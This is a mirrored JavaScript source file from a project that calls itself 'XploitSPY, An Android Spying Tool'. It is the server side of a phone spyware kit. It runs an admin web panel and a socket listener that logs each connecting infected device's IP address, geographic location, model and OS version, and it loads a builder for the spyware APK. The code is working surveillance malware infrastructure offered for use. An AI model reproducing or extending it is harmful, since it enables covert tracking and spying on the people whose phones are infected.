mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-11-05 09:59:20 +08:00
76 lines
2.2 KiB
JavaScript
76 lines
2.2 KiB
JavaScript
/*
|
|
* XploitSPY
|
|
* An Android Spying Tool
|
|
* By Team XploitWizer
|
|
*/
|
|
|
|
|
|
const
|
|
express = require('express'),
|
|
app = express(),
|
|
server = require('http').createServer(app),
|
|
IO = require('socket.io')(server),
|
|
geoip = require('geoip-lite'),
|
|
CONST = require('./includes/const'),
|
|
db = require('./includes/databaseGateway'),
|
|
logManager = require('./includes/logManager'),
|
|
clientManager = new(require('./includes/clientManager'))(db),
|
|
apkBuilder = require('./includes/apkBuilder');
|
|
|
|
global.CONST = CONST;
|
|
global.db = db;
|
|
global.logManager = logManager;
|
|
global.app = app;
|
|
global.clientManager = clientManager;
|
|
global.apkBuilder = apkBuilder;
|
|
|
|
// spin up socket server
|
|
// let client_io = IO.listen(CONST.control_port);
|
|
|
|
// client_io.sockets.pingInterval = 30000;
|
|
IO.sockets.pingInterval = 30000;
|
|
IO.on('connection', (socket) => {
|
|
socket.emit('welcome');
|
|
let clientParams = socket.handshake.query;
|
|
let clientAddress = socket.request.connection;
|
|
|
|
let clientIP = clientAddress.remoteAddress.substring(clientAddress.remoteAddress.lastIndexOf(':') + 1);
|
|
let clientGeo = geoip.lookup(clientIP);
|
|
if (!clientGeo) clientGeo = {}
|
|
|
|
clientManager.clientConnect(socket, clientParams.id, {
|
|
clientIP,
|
|
clientGeo,
|
|
device: {
|
|
model: clientParams.model,
|
|
manufacture: clientParams.manf,
|
|
version: clientParams.release
|
|
}
|
|
});
|
|
|
|
if (CONST.debug) {
|
|
var onevent = socket.onevent;
|
|
socket.onevent = function(packet) {
|
|
var args = packet.data || [];
|
|
onevent.call(this, packet); // original call
|
|
packet.data = ["*"].concat(args);
|
|
onevent.call(this, packet); // additional call to catch-all
|
|
};
|
|
|
|
socket.on("*", function(event, data) {
|
|
console.log(event);
|
|
console.log(data);
|
|
});
|
|
}
|
|
|
|
});
|
|
|
|
|
|
// get the admin interface online
|
|
// app.listen(CONST.web_port);
|
|
server.listen(process.env.PORT || CONST.web_port)
|
|
|
|
app.set('view engine', 'ejs');
|
|
app.set('views', './assets/views');
|
|
app.use(express.static(__dirname + '/assets/webpublic'));
|
|
app.use(require('./includes/expressRoutes')); |